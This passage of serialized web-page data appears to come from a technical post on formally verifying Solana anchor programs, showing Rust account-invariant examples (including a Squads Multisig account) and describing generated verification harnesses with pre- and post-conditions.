alue":24220},{"type":25,"tag":216,"props":24597,"children":24598},{"style":7041},[24599],{"type":31,"value":24600}," my_instruction",{"type":25,"tag":216,"props":24602,"children":24603},{"style":6958},[24604],{"type":31,"value":1844},{"type":25,"tag":216,"props":24606,"children":24607},{"style":6941},[24608],{"type":31,"value":24234},{"type":25,"tag":216,"props":24610,"children":24611},{"style":6947},[24612],{"type":31,"value":1466},{"type":25,"tag":216,"props":24614,"children":24615},{"style":7369},[24616],{"type":31,"value":24243},{"type":25,"tag":216,"props":24618,"children":24619},{"style":6958},[24620],{"type":31,"value":9751},{"type":25,"tag":216,"props":24622,"children":24623},{"style":6947},[24624],{"type":31,"value":13541},{"type":25,"tag":216,"props":24626,"children":24627},{"style":6958},[24628],{"type":31,"value":24400},{"type":25,"tag":216,"props":24630,"children":24631},{"style":6947},[24632],{"type":31,"value":17708},{"type":25,"tag":216,"props":24634,"children":24635},{"style":7369},[24636],{"type":31,"value":17713},{"type":25,"tag":216,"props":24638,"children":24639},{"style":6958},[24640],{"type":31,"value":24285},{"type":25,"tag":216,"props":24642,"children":24643},{"class":6916,"line":7210},[24644],{"type":25,"tag":216,"props":24645,"children":24646},{"style":6947},[24647],{"type":31,"value":24293},{"type":25,"tag":216,"props":24649,"children":24650},{"class":6916,"line":7238},[24651],{"type":25,"tag":216,"props":24652,"children":24653},{"style":6958},[24654],{"type":31,"value":7868},{"type":25,"tag":38,"props":24656,"children":24657},{},[24658],{"type":31,"value":24659},"Note that in practice, it is usually not necessary (or useful) to find the exact condition; rather we can achieve the security properties we want purely by proving upper and lower bounds on instruction success.",{"type":25,"tag":631,"props":24661,"children":24663},{"id":24662},"account-invariants",[24664],{"type":31,"value":24665},"Account Invariants",{"type":25,"tag":38,"props":24667,"children":24668},{},[24669,24671,24676],{"type":31,"value":24670},"The other type of invariant is an ",{"type":25,"tag":9267,"props":24672,"children":24673},{},[24674],{"type":31,"value":24675},"Account Invariant",{"type":31,"value":24677},". This invariant describes some property of an account that should always hold.",{"type":25,"tag":38,"props":24679,"children":24680},{},[24681,24683,24688,24689,24695],{"type":31,"value":24682},"In our tool, we verify that the account invariant holds after every instruction that could modify the account data (i.e. if the account is ",{"type":25,"tag":82,"props":24684,"children":24686},{"className":24685},[],[24687],{"type":31,"value":7685},{"type":31,"value":17084},{"type":25,"tag":82,"props":24690,"children":24692},{"className":24691},[],[24693],{"type":31,"value":24694},"init",{"type":31,"value":24696},").",{"type":25,"tag":38,"props":24698,"children":24699},{},[24700,24702,24708],{"type":31,"value":24701},"For example, given a mock ",{"type":25,"tag":82,"props":24703,"children":24705},{"className":24704},[],[24706],{"type":31,"value":24707},"UserStatement",{"type":31,"value":24709}," account that represents how much a user owns and owes, we could write an invariant that asserts that the net balance is positive:",{"type":25,"tag":206,"props":24711,"children":24713},{"code":24712,"language":6908,"meta":7,"className":6909,"style":7},"#[account]\n#[invariant(\n    self.assets >= self.liabilities\n)]\nstruct UserStatement {\n    pub owner: Pubkey,\n    pub assets: u64,\n    pub liabilities: u64,\n}\n",[24714],{"type":25,"tag":82,"props":24715,"children":24716},{"__ignoreMap":7},[24717,24725,24733,24767,24774,24790,24816,24840,24864],{"type":25,"tag":216,"props":24718,"children":24719},{"class":6916,"line":6917},[24720],{"type":25,"tag":216,"props":24721,"children":24722},{"style":6958},[24723],{"type":31,"value":24724},"#[account]\n",{"type":25,"tag":216,"props":24726,"children":24727},{"class":6916,"line":6763},[24728],{"type":25,"tag":216,"props":24729,"children":24730},{"style":6958},[24731],{"type":31,"value":24732},"#[invariant(\n",{"type":25,"tag":216,"props":24734,"children":24735},{"class":6916,"line":6772},[24736,24741,24745,24750,24754,24758,24762],{"type":25,"tag":216,"props":24737,"children":24738},{"style":6958},[24739],{"type":31,"value":24740},"    self",{"type":25,"tag":216,"props":24742,"children":24743},{"style":6947},[24744],{"type":31,"value":179},{"type":25,"tag":216,"props":24746,"children":24747},{"style":6958},[24748],{"type":31,"value":24749},"assets ",{"type":25,"tag":216,"props":24751,"children":24752},{"style":6947},[24753],{"type":31,"value":13894},{"type":25,"tag":216,"props":24755,"children":24756},{"style":6958},[24757],{"type":31,"value":17748},{"type":25,"tag":216,"props":24759,"children":24760},{"style":6947},[24761],{"type":31,"value":179},{"type":25,"tag":216,"props":24763,"children":24764},{"style":6958},[24765],{"type":31,"value":24766},"liabilities\n",{"type":25,"tag":216,"props":24768,"children":24769},{"class":6916,"line":6999},[24770],{"type":25,"tag":216,"props":24771,"children":24772},{"style":6958},[24773],{"type":31,"value":24212},{"type":25,"tag":216,"props":24775,"children":24776},{"class":6916,"line":7104},[24777,24781,24786],{"type":25,"tag":216,"props":24778,"children":24779},{"style":6930},[24780],{"type":31,"value":13351},{"type":25,"tag":216,"props":24782,"children":24783},{"style":7369},[24784],{"type":31,"value":24785}," UserStatement",{"type":25,"tag":216,"props":24787,"children":24788},{"style":6958},[24789],{"type":31,"value":7235},{"type":25,"tag":216,"props":24791,"children":24792},{"class":6916,"line":7210},[24793,24798,24803,24807,24812],{"type":25,"tag":216,"props":24794,"children":24795},{"style":6930},[24796],{"type":31,"value":24797},"    pub",{"type":25,"tag":216,"props":24799,"children":24800},{"style":6941},[24801],{"type":31,"value":24802}," owner",{"type":25,"tag":216,"props":24804,"children":24805},{"style":6947},[24806],{"type":31,"value":1466},{"type":25,"tag":216,"props":24808,"children":24809},{"style":7369},[24810],{"type":31,"value":24811}," Pubkey",{"type":25,"tag":216,"props":24813,"children":24814},{"style":6958},[24815],{"type":31,"value":7459},{"type":25,"tag":216,"props":24817,"children":24818},{"class":6916,"line":7238},[24819,24823,24828,24832,24836],{"type":25,"tag":216,"props":24820,"children":24821},{"style":6930},[24822],{"type":31,"value":24797},{"type":25,"tag":216,"props":24824,"children":24825},{"style":6941},[24826],{"type":31,"value":24827}," assets",{"type":25,"tag":216,"props":24829,"children":24830},{"style":6947},[24831],{"type":31,"value":1466},{"type":25,"tag":216,"props":24833,"children":24834},{"style":7369},[24835],{"type":31,"value":9805},{"type":25,"tag":216,"props":24837,"children":24838},{"style":6958},[24839],{"type":31,"value":7459},{"type":25,"tag":216,"props":24841,"children":24842},{"class":6916,"line":7251},[24843,24847,24852,24856,24860],{"type":25,"tag":216,"props":24844,"children":24845},{"style":6930},[24846],{"type":31,"value":24797},{"type":25,"tag":216,"props":24848,"children":24849},{"style":6941},[24850],{"type":31,"value":24851}," liabilities",{"type":25,"tag":216,"props":24853,"children":24854},{"style":6947},[24855],{"type":31,"value":1466},{"type":25,"tag":216,"props":24857,"children":24858},{"style":7369},[24859],{"type":31,"value":9805},{"type":25,"tag":216,"props":24861,"children":24862},{"style":6958},[24863],{"type":31,"value":7459},{"type":25,"tag":216,"props":24865,"children":24866},{"class":6916,"line":7269},[24867],{"type":25,"tag":216,"props":24868,"children":24869},{"style":6958},[24870],{"type":31,"value":7868},{"type":25,"tag":38,"props":24872,"children":24873},{},[24874,24876,24881],{"type":31,"value":24875},"Our tool automatically generates the relevant harnesses to ensure that this property holds every time an account of type ",{"type":25,"tag":82,"props":24877,"children":24879},{"className":24878},[],[24880],{"type":31,"value":24707},{"type":31,"value":24882}," is created or modified.",{"type":25,"tag":38,"props":24884,"children":24885},{},[24886,24888,24894],{"type":31,"value":24887},"In another example, we developed the following invariant for the ",{"type":25,"tag":162,"props":24889,"children":24891},{"href":22778,"rel":24890},[166],[24892],{"type":31,"value":24893},"Squads Multisig",{"type":31,"value":24895}," wallet account:",{"type":25,"tag":206,"props":24897,"children":24899},{"code":24898,"language":6908,"meta":7,"className":6909,"style":7},"#[account]\n#[invariant(\n    !self.keys.is_empty()\n    && (self.keys.len() \u003C= u16::MAX as usize)\n    && (self.threshold >= 1)\n    && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms {\n    pub threshold: u16,               // threshold for signatures\n    pub authority_index: u16,         // index to seed other authorities under this multisig\n    pub transaction_index: u32,       // look up and seed reference for transactions\n    pub ms_change_index: u32,         // the last executed/closed transaction\n    pub bump: u8,                     // bump for the multisig seed\n    pub create_key: Pubkey,           // random key(or not) used to seed the multisig pda\n    pub allow_external_execute: bool, // allow non-member keys to execute txs\n    pub keys: Vec\u003CPubkey>,            // keys of the members\n}\n",[24900],{"type":25,"tag":82,"props":24901,"children":24902},{"__ignoreMap":7},[24903,24910,24917,24947,25006,25035,25087,25094,25115,25145,25175,25205,25234,25264,25294,25323,25363],{"type":25,"tag":216,"props":24904,"children":24905},{"class":6916,"line":6917},[24906],{"type":25,"tag":216,"props":24907,"children":24908},{"style":6958},[24909],{"type":31,"value":24724},{"type":25,"tag":216,"props":24911,"children":24912},{"class":6916,"line":6763},[24913],{"type":25,"tag":216,"props":24914,"children":24915},{"style":6958},[24916],{"type":31,"value":24732},{"type":25,"tag":216,"props":24918,"children":24919},{"class":6916,"line":6772},[24920,24925,24929,24933,24938,24942],{"type":25,"tag":216,"props":24921,"children":24922},{"style":6947},[24923],{"type":31,"value":24924},"    !",{"type":25,"tag":216,"props":24926,"children":24927},{"style":6958},[24928],{"type":31,"value":17664},{"type":25,"tag":216,"props":24930,"children":24931},{"style":6947},[24932],{"type":31,"value":179},{"type":25,"tag":216,"props":24934,"children":24935},{"style":6958},[24936],{"type":31,"value":24937},"keys",{"type":25,"tag":216,"props":24939,"children":24940},{"style":6947},[24941],{"type":31,"value":179},{"type":25,"tag":216,"props":24943,"children":24944},{"style":6958},[24945],{"type":31,"value":24946},"is_empty()\n",{"type":25,"tag":216,"props":24948,"children":24949},{"class":6916,"line":6999},[24950,24954,24959,24963,24967,24971,24976,24980,24985,24989,24994,24998,25002],{"type":25,"tag":216,"props":24951,"children":24952},{"style":6947},[24953],{"type":31,"value":19573},{"type":25,"tag":216,"props":24955,"children":24956},{"style":6958},[24957],{"type":31,"value":24958}," (self",{"type":25,"tag":216,"props":24960,"children":24961},{"style":6947},[24962],{"type":31,"value":179},{"type":25,"tag":216,"props":24964,"children":24965},{"style":6958},[24966],{"type":31,"value":24937},{"type":25,"tag":216,"props":24968,"children":24969},{"style":6947},[24970],{"type":31,"value":179},{"type":25,"tag":216,"props":24972,"children":24973},{"style":6958},[24974],{"type":31,"value":24975},"len() ",{"type":25,"tag":216,"props":24977,"children":24978},{"style":6947},[24979],{"type":31,"value":23368},{"type":25,"tag":216,"props":24981,"children":24982},{"style":7369},[24983],{"type":31,"value":24984}," u16",{"type":25,"tag":216,"props":24986,"children":24987},{"style":6947},[24988],{"type":31,"value":7432},{"type":25,"tag":216,"props":24990,"children":24991},{"style":7369},[24992],{"type":31,"value":24993},"MAX",{"type":25,"tag":216,"props":24995,"children":24996},{"style":6930},[24997],{"type":31,"value":12775},{"type":25,"tag":216,"props":24999,"children":25000},{"style":7369},[25001],{"type":31,"value":17682},{"type":25,"tag":216,"props":25003,"children":25004},{"style":6958},[25005],{"type":31,"value":7101},{"type":25,"tag":216,"props":25007,"children":25008},{"class":6916,"line":7104},[25009,25013,25017,25021,25026,25030],{"type":25,"tag":216,"props":25010,"children":25011},{"style":6947},[25012],{"type":31,"value":19573},{"type":25,"tag":216,"props":25014,"children":25015},{"style":6958},[25016],{"type":31,"value":24958},{"type":25,"tag":216,"props":25018,"children":25019},{"style":6947},[25020],{"type":31,"value":179},{"type":25,"tag":216,"props":25022,"children":25023},{"style":6958},[25024],{"type":31,"value":25025},"threshold ",{"type":25,"tag":216,"props":25027,"children":25028},{"style":6947},[25029],{"type":31,"value":13894},{"type":25,"tag":216,"props":25031,"children":25032},{"style":6958},[25033],{"type":31,"value":25034}," 1)\n",{"type":25,"tag":216,"props":25036,"children":25037},{"class":6916,"line":7210},[25038,25042,25046,25050,25054,25058,25062,25066,25070,25074,25078,25082],{"type":25,"tag":216,"props":25039,"children":25040},{"style":6947},[25041],{"type":31,"value":19573},{"type":25,"tag":216,"props":25043,"children":25044},{"style":6958},[25045],{"type":31,"value":24958},{"type":25,"tag":216,"props":25047,"children":25048},{"style":6947},[25049],{"type":31,"value":179},{"type":25,"tag":216,"props":25051,"children":25052},{"style":6958},[25053],{"type":31,"value":25025},{"type":25,"tag":216,"props":25055,"children":25056},{"style":6930},[25057],{"type":31,"value":12789},{"type":25,"tag":216,"props":25059,"children":25060},{"style":7369},[25061],{"type":31,"value":17682},{"type":25,"tag":216,"props":25063,"children":25064},{"style":6947},[25065],{"type":31,"value":12143},{"type":25,"tag":216,"props":25067,"children":25068},{"style":6958},[25069],{"type":31,"value":17748},{"type":25,"tag":216,"props":25071,"children":25072},{"style":6947},[25073],{"type":31,"value":179},{"type":25,"tag":216,"props":25075,"children":25076},{"style":6958},[25077],{"type":31,"value":24937},{"type":25,"tag":216,"props":25079,"children":25080},{"style":6947},[25081],{"type":31,"value":179},{"type":25,"tag":216,"props":25083,"children":25084},{"style":6958},[25085],{"type":31,"value":25086},"len())\n",{"type":25,"tag":216,"props":25088,"children":25089},{"class":6916,"line":7238},[25090],{"type":25,"tag":216,"props":25091,"children":25092},{"style":6958},[25093],{"type":31,"value":24212},{"type":25,"tag":216,"props":25095,"children":25096},{"class":6916,"line":7251},[25097,25101,25106,25111],{"type":25,"tag":216,"props":25098,"children":25099},{"style":6930},[25100],{"type":31,"value":17641},{"type":25,"tag":216,"props":25102,"children":25103},{"style":6930},[25104],{"type":31,"value":25105}," struct",{"type":25,"tag":216,"props":25107,"children":25108},{"style":7369},[25109],{"type":31,"value":25110}," Ms",{"type":25,"tag":216,"props":25112,"children":25113},{"style":6958},[25114],{"type":31,"value":7235},{"type":25,"tag":216,"props":25116,"children":25117},{"class":6916,"line":7269},[25118,25122,25127,25131,25135,25140],{"type":25,"tag":216,"props":25119,"children":25120},{"style":6930},[25121],{"type":31,"value":24797},{"type":25,"tag":216,"props":25123,"children":25124},{"style":6941},[25125],{"type":31,"value":25126}," threshold",{"type":25,"tag":216,"props":25128,"children":25129},{"style":6947},[25130],{"type":31,"value":1466},{"type":25,"tag":216,"props":25132,"children":25133},{"style":7369},[25134],{"type":31,"value":24984},{"type":25,"tag":216,"props":25136,"children":25137},{"style":6958},[25138],{"type":31,"value":25139},",               ",{"type":25,"tag":216,"props":25141,"children":25142},{"style":6921},[25143],{"type":31,"value":25144},"// threshold for signatures\n",{"type":25,"tag":216,"props":25146,"children":25147},{"class":6916,"line":7290},[25148,25152,25157,25161,25165,25170],{"type":25,"tag":216,"props":25149,"children":25150},{"style":6930},[25151],{"type":31,"value":24797},{"type":25,"tag":216,"props":25153,"children":25154},{"style":6941},[25155],{"type":31,"value":25156}," authority_index",{"type":25,"tag":216,"props":25158,"children":25159},{"style":6947},[25160],{"type":31,"value":1466},{"type":25,"tag":216,"props":25162,"children":25163},{"style":7369},[25164],{"type":31,"value":24984},{"type":25,"tag":216,"props":25166,"children":25167},{"style":6958},[25168],{"type":31,"value":25169},",         ",{"type":25,"tag":216,"props":25171,"children":25172},{"style":6921},[25173],{"type":31,"value":25174},"// index to seed other authorities under this multisig\n",{"type":25,"tag":216,"props":25176,"children":25177},{"class":6916,"line":7299},[25178,25182,25187,25191,25195,25200],{"type":25,"tag":216,"props":25179,"children":25180},{"style":6930},[25181],{"type":31,"value":24797},{"type":25,"tag":216,"props":25183,"children":25184},{"style":6941},[25185],{"type":31,"value":25186}," transaction_index",{"type":25,"tag":216,"props":25188,"children":25189},{"style":6947},[25190],{"type":31,"value":1466},{"type":25,"tag":216,"props":25192,"children":25193},{"style":7369},[25194],{"type":31,"value":21501},{"type":25,"tag":216,"props":25196,"children":25197},{"style":6958},[25198],{"type":31,"value":25199},",       ",{"type":25,"tag":216,"props":25201,"children":25202},{"style":6921},[25203],{"type":31,"value":25204},"// look up and seed reference for transactions\n",{"type":25,"tag":216,"props":25206,"children":25207},{"class":6916,"line":7551},[25208,25212,25217,25221,25225,25229],{"type":25,"tag":216,"props":25209,"children":25210},{"style":6930},[25211],{"type":31,"value":24797},{"type":25,"tag":216,"props":25213,"children":25214},{"style":6941},[25215],{"type":31,"value":25216}," ms_change_index",{"type":25,"tag":216,"props":25218,"children":25219},{"style":6947},[25220],{"type":31,"value":1466},{"type":25,"tag":216,"props":25222,"children":25223},{"style":7369},[25224],{"type":31,"value":21501},{"type":25,"tag":216,"props":25226,"children":25227},{"style":6958},[25228],{"type":31,"value":25169},{"type":25,"tag":216,"props":25230,"children":25231},{"style":6921},[25232],{"type":31,"value":25233},"// the last executed/closed transaction\n",{"type":25,"tag":216,"props":25235,"children":25236},{"class":6916,"line":7568},[25237,25241,25246,25250,25254,25259],{"type":25,"tag":216,"props":25238,"children":25239},{"style":6930},[25240],{"type":31,"value":24797},{"type":25,"tag":216,"props":25242,"children":25243},{"style":6941},[25244],{"type":31,"value":25245}," bump",{"type":25,"tag":216,"props":25247,"children":25248},{"style":6947},[25249],{"type":31,"value":1466},{"type":25,"tag":216,"props":25251,"children":25252},{"style":7369},[25253],{"type":31,"value":18585},{"type":25,"tag":216,"props":25255,"children":25256},{"style":6958},[25257],{"type":31,"value":25258},",                     ",{"type":25,"tag":216,"props":25260,"children":25261},{"style":6921},[25262],{"type":31,"value":25263},"// bump for the multisig seed\n",{"type":25,"tag":216,"props":25265,"children":25266},{"class":6916,"line":7585},[25267,25271,25276,25280,25284,25289],{"type":25,"tag":216,"props":25268,"children":25269},{"style":6930},[25270],{"type":31,"value":24797},{"type":25,"tag":216,"props":25272,"children":25273},{"style":6941},[25274],{"type":31,"value":25275}," create_key",{"type":25,"tag":216,"props":25277,"children":25278},{"style":6947},[25279],{"type":31,"value":1466},{"type":25,"tag":216,"props":25281,"children":25282},{"style":7369},[25283],{"type":31,"value":24811},{"type":25,"tag":216,"props":25285,"children":25286},{"style":6958},[25287],{"type":31,"value":25288},",           ",{"type":25,"tag":216,"props":25290,"children":25291},{"style":6921},[25292],{"type":31,"value":25293},"// random key(or not) used to seed the multisig pda\n",{"type":25,"tag":216,"props":25295,"children":25296},{"class":6916,"line":7598},[25297,25301,25306,25310,25314,25318],{"type":25,"tag":216,"props":25298,"children":25299},{"style":6930},[25300],{"type":31,"value":24797},{"type":25,"tag":216,"props":25302,"children":25303},{"style":6941},[25304],{"type":31,"value":25305}," allow_external_execute",{"type":25,"tag":216,"props":25307,"children":25308},{"style":6947},[25309],{"type":31,"value":1466},{"type":25,"tag":216,"props":25311,"children":25312},{"style":7369},[25313],{"type":31,"value":16000},{"type":25,"tag":216,"props":25315,"children":25316},{"style":6958},[25317],{"type":31,"value":7020},{"type":25,"tag":216,"props":25319,"children":25320},{"style":6921},[25321],{"type":31,"value":25322},"// allow non-member keys to execute txs\n",{"type":25,"tag":216,"props":25324,"children":25325},{"class":6916,"line":7607},[25326,25330,25335,25339,25344,25348,25353,25358],{"type":25,"tag":216,"props":25327,"children":25328},{"style":6930},[25329],{"type":31,"value":24797},{"type":25,"tag":216,"props":25331,"children":25332},{"style":6941},[25333],{"type":31,"value":25334}," keys",{"type":25,"tag":216,"props":25336,"children":25337},{"style":6947},[25338],{"type":31,"value":1466},{"type":25,"tag":216,"props":25340,"children":25341},{"style":7369},[25342],{"type":31,"value":25343}," Vec",{"type":25,"tag":216,"props":25345,"children":25346},{"style":6958},[25347],{"type":31,"value":9751},{"type":25,"tag":216,"props":25349,"children":25350},{"style":7369},[25351],{"type":31,"value":25352},"Pubkey",{"type":25,"tag":216,"props":25354,"children":25355},{"style":6958},[25356],{"type":31,"value":25357},">,            ",{"type":25,"tag":216,"props":25359,"children":25360},{"style":6921},[25361],{"type":31,"value":25362},"// keys of the members\n",{"type":25,"tag":216,"props":25364,"children":25365},{"class":6916,"line":7630},[25366],{"type":25,"tag":216,"props":25367,"children":25368},{"style":6958},[25369],{"type":31,"value":7868},{"type":25,"tag":38,"props":25371,"children":25372},{},[25373],{"type":31,"value":25374},"Here we are verifying multiple things at once:",{"type":25,"tag":2033,"props":25376,"children":25377},{},[25378,25389,25400,25411],{"type":25,"tag":2037,"props":25379,"children":25380},{},[25381,25387],{"type":25,"tag":82,"props":25382,"children":25384},{"className":25383},[],[25385],{"type":31,"value":25386},"!self.keys.is_empty()",{"type":31,"value":25388}," : ensure there is at least one member",{"type":25,"tag":2037,"props":25390,"children":25391},{},[25392,25398],{"type":25,"tag":82,"props":25393,"children":25395},{"className":25394},[],[25396],{"type":31,"value":25397},"self.keys.len() \u003C= u16::MAX as usize",{"type":31,"value":25399}," : set an upper limit of 65535 members",{"type":25,"tag":2037,"props":25401,"children":25402},{},[25403,25409],{"type":25,"tag":82,"props":25404,"children":25406},{"className":25405},[],[25407],{"type":31,"value":25408},"self.threshold >= 1",{"type":31,"value":25410}," : ensure we always need at least one member to sign (threshold of zero would require no signers!)",{"type":25,"tag":2037,"props":25412,"children":25413},{},[25414,25420],{"type":25,"tag":82,"props":25415,"children":25417},{"className":25416},[],[25418],{"type":31,"value":25419},"self.threshold as usize \u003C= self.keys.len()",{"type":31,"value":25421}," : ensure we always have enough potential members to sign; if threshold was greater than the number of keys, no one could sign",{"type":25,"tag":26,"props":25423,"children":25425},{"id":25424},"verification-how-do-we-check-that-our-model-is-correct",[25426],{"type":31,"value":25427},"Verification: How do we check that our model is correct?",{"type":25,"tag":38,"props":25429,"children":25430},{},[25431,25433,25437,25439,25444],{"type":31,"value":25432},"Now that we have defined the specific instruction and account invariants, we need to generate ",{"type":25,"tag":64,"props":25434,"children":25435},{},[25436],{"type":31,"value":23923},{"type":31,"value":25438}," on which we can run bounded model checking. Our tool does this ",{"type":25,"tag":64,"props":25440,"children":25441},{},[25442],{"type":31,"value":25443},"automagically",{"type":31,"value":25445}," for anchor-lang programs.",{"type":25,"tag":38,"props":25447,"children":25448},{},[25449,25451,25457,25459,25464,25466,25471,25472,25477,25479,25484,25486,25491,25492,25498,25500,25506,25507,25513],{"type":31,"value":25450},"Specifically, for a given ",{"type":25,"tag":82,"props":25452,"children":25454},{"className":25453},[],[25455],{"type":31,"value":25456},"Context\u003CT>",{"type":31,"value":25458}," with ",{"type":25,"tag":64,"props":25460,"children":25461},{},[25462],{"type":31,"value":25463},"incoming",{"type":31,"value":25465}," accounts of types (",{"type":25,"tag":82,"props":25467,"children":25469},{"className":25468},[],[25470],{"type":31,"value":24694},{"type":31,"value":5749},{"type":25,"tag":82,"props":25473,"children":25475},{"className":25474},[],[25476],{"type":31,"value":7685},{"type":31,"value":25478},") and ",{"type":25,"tag":64,"props":25480,"children":25481},{},[25482],{"type":31,"value":25483},"outgoing",{"type":31,"value":25485}," accounts of type (",{"type":25,"tag":82,"props":25487,"children":25489},{"className":25488},[],[25490],{"type":31,"value":7685},{"type":31,"value":5749},{"type":25,"tag":82,"props":25493,"children":25495},{"className":25494},[],[25496],{"type":31,"value":25497},"close",{"type":31,"value":25499},") we define a ",{"type":25,"tag":82,"props":25501,"children":25503},{"className":25502},[],[25504],{"type":31,"value":25505},"pre_condition",{"type":31,"value":1301},{"type":25,"tag":82,"props":25508,"children":25510},{"className":25509},[],[25511],{"type":31,"value":25512},"post_condition",{"type":31,"value":25514}," expression that is a conjunction of all of the incoming and outcoming account invariants:",{"type":25,"tag":38,"props":25516,"children":25517},{},[25518],{"type":25,"tag":82,"props":25519,"children":25521},{"className":25520},[212,4696],[25522],{"type":25,"tag":216,"props":25523,"children":25525},{"className":25524},[224],[25526],{"type":25,"tag":216,"props":25527,"children":25529},{"className":25528,"ariaHidden":230},[229],[25530,25561],{"type":25,"tag":216,"props":25531,"children":25533},{"className":25532},[235],[25534,25538,25543,25548,25552,25557],{"type":25,"tag":216,"props":25535,"children":25537},{"className":25536,"style":4793},[240],[],{"type":25,"tag":216,"props":25539,"children":25541},{"className":25540,"style":2146},[246,2145],[25542],{"type":31,"value":2149},{"type":25,"tag":216,"props":25544,"children":25546},{"className":25545},[246],[25547],{"type":31,"value":1876},{"type":25,"tag":216,"props":25549,"children":25551},{"className":25550,"style":258},[257],[],{"type":25,"tag":216,"props":25553,"children":25555},{"className":25554},[263],[25556],{"type":31,"value":3002},{"type":25,"tag":216,"props":25558,"children":25560},{"className":25559,"style":258},[257],[],{"type":25,"tag":216,"props":25562,"children":25564},{"className":25563},[235],[25565,25570,25702,25706],{"type":25,"tag":216,"props":25566,"children":25569},{"className":25567,"style":25568},[240],"height:1.2247em;vertical-align:-0.4747em;",[],{"type":25,"tag":216,"props":25571,"children":25573},{"className":25572},[1835],[25574,25582],{"type":25,"tag":216,"props":25575,"children":25579},{"className":25576,"style":25578},[1835,4042,25577],"small-op","position:relative;top:0em;",[25580],{"type":31,"value":25581},"⋀",{"type":25,"tag":216,"props":25583,"children":25585},{"className":25584},[2153],[25586],{"type":25,"tag":216,"props":25587,"children":25589},{"className":25588},[298,299],[25590,25690],{"type":25,"tag":216,"props":25591,"children":25593},{"className":25592},[304],[25594,25685],{"type":25,"tag":216,"props":25595,"children":25598},{"className":25596,"style":25597},[309],"height:0.2253em;",[25599],{"type":25,"tag":216,"props":25600,"children":25602},{"style":25601},"top:-2.4003em;margin-left:0em;margin-right:0.05em;",[25603,25607],{"type":25,"tag":216,"props":25604,"children":25606},{"className":25605,"style":2175},[319],[],{"type":25,"tag":216,"props":25608,"children":25610},{"className":25609},[2180,2181,2182,2183],[25611],{"type":25,"tag":216,"props":25612,"children":25614},{"className":25613},[246,2183],[25615,25620,25626,25636,25642,25651,25660,25665,25670,25675,25680],{"type":25,"tag":216,"props":25616,"children":25618},{"className":25617},[246,2145,2183],[25619],{"type":31,"value":162},{"type":25,"tag":216,"props":25621,"children":25623},{"className":25622},[246,2145,2183],[25624],{"type":31,"value":25625},"cc",{"type":25,"tag":216,"props":25627,"children":25629},{"className":25628},[257,2183],[25630],{"type":25,"tag":216,"props":25631,"children":25633},{"className":25632},[2183],[25634],{"type":31,"value":25635}," ",{"type":25,"tag":216,"props":25637,"children":25639},{"className":25638},[263,2183],[25640],{"type":31,"value":25641},"∈",{"type":25,"tag":216,"props":25643,"children":25645},{"className":25644},[257,2183],[25646],{"type":25,"tag":216,"props":25647,"children":25649},{"className":25648},[2183],[25650],{"type":31,"value":25635},{"type":25,"tag":216,"props":25652,"children":25654},{"className":25653},[246,31,2183],[25655],{"type":25,"tag":216,"props":25656,"children":25658},{"className":25657},[246,2183],[25659],{"type":31,"value":25463},{"type":25,"tag":216,"props":25661,"children":25663},{"className":25662},[287,2183],[25664],{"type":31,"value":1844},{"type":25,"tag":216,"props":25666,"children":25668},{"className":25667},[246,2145,2183],[25669],{"type":31,"value":2248},{"type":25,"tag":216,"props":25671,"children":25673},{"className":25672},[246,2145,2183],[25674],{"type":31,"value":2928},{"type":25,"tag":216,"props":25676,"children":25678},{"className":25677},[246,2145,2183],[25679],{"type":31,"value":2535},{"type":25,"tag":216,"props":25681,"children":25683},{"className":25682},[427,2183],[25684],{"type":31,"value":1882},{"type":25,"tag":216,"props":25686,"children":25688},{"className":25687},[408],[25689],{"type":31,"value":411},{"type":25,"tag":216,"props":25691,"children":25693},{"className":25692},[304],[25694],{"type":25,"tag":216,"props":25695,"children":25698},{"className":25696,"style":25697},[309],"height:0.4747em;",[25699],{"type":25,"tag":216,"props":25700,"children":25701},{},[],{"type":25,"tag":216,"props":25703,"children":25705},{"className":25704,"style":1865},[257],[],{"type":25,"tag":216,"props":25707,"children":25709},{"className":25708},[246],[25710,25720,25725,25730,25735],{"type":25,"tag":216,"props":25711,"children":25713},{"className":25712},[246,31],[25714],{"type":25,"tag":216,"props":25715,"children":25717},{"className":25716},[246],[25718],{"type":31,"value":25719},"invariant",{"type":25,"tag":216,"props":25721,"children":25723},{"className":25722},[287],[25724],{"type":31,"value":1844},{"type":25,"tag":216,"props":25726,"children":25728},{"className":25727},[246,2145],[25729],{"type":31,"value":162},{"type":25,"tag":216,"props":25731,"children":25733},{"className":25732},[246,2145],[25734],{"type":31,"value":25625},{"type":25,"tag":216,"props":25736,"children":25738},{"className":25737},[427],[25739],{"type":31,"value":1882},{"type":25,"tag":38,"props":25741,"children":25742},{},[25743],{"type":25,"tag":82,"props":25744,"children":25746},{"className":25745},[212,4696],[25747],{"type":25,"tag":216,"props":25748,"children":25750},{"className":25749},[224],[25751],{"type":25,"tag":216,"props":25752,"children":25754},{"className":25753,"ariaHidden":230},[229],[25755,25786],{"type":25,"tag":216,"props":25756,"children":25758},{"className":25757},[235],[25759,25763,25768,25773,25777,25782],{"type":25,"tag":216,"props":25760,"children":25762},{"className":25761,"style":4793},[240],[],{"type":25,"tag":216,"props":25764,"children":25766},{"className":25765,"style":2146},[246,2145],[25767],{"type":31,"value":2149},{"type":25,"tag":216,"props":25769,"children":25771},{"className":25770},[246],[25772],{"type":31,"value":184},{"type":25,"tag":216,"props":25774,"children":25776},{"className":25775,"style":258},[257],[],{"type":25,"tag":216,"props":25778,"children":25780},{"className":25779},[263],[25781],{"type":31,"value":3002},{"type":25,"tag":216,"props":25783,"children":25785},{"className":25784,"style":258},[257],[],{"type":25,"tag":216,"props":25787,"children":25789},{"className":25788},[235],[25790,25794,25917,25921],{"type":25,"tag":216,"props":25791,"children":25793},{"className":25792,"style":25568},[240],[],{"type":25,"tag":216,"props":25795,"children":25797},{"className":25796},[1835],[25798,25803],{"type":25,"tag":216,"props":25799,"children":25801},{"className":25800,"style":25578},[1835,4042,25577],[25802],{"type":31,"value":25581},{"type":25,"tag":216,"props":25804,"children":25806},{"className":25805},[2153],[25807],{"type":25,"tag":216,"props":25808,"children":25810},{"className":25809},[298,299],[25811,25906],{"type":25,"tag":216,"props":25812,"children":25814},{"className":25813},[304],[25815,25901],{"type":25,"tag":216,"props":25816,"children":25818},{"className":25817,"style":25597},[309],[25819],{"type":25,"tag":216,"props":25820,"children":25821},{"style":25601},[25822,25826],{"type":25,"tag":216,"props":25823,"children":25825},{"className":25824,"style":2175},[319],[],{"type":25,"tag":216,"props":25827,"children":25829},{"className":25828},[2180,2181,2182,21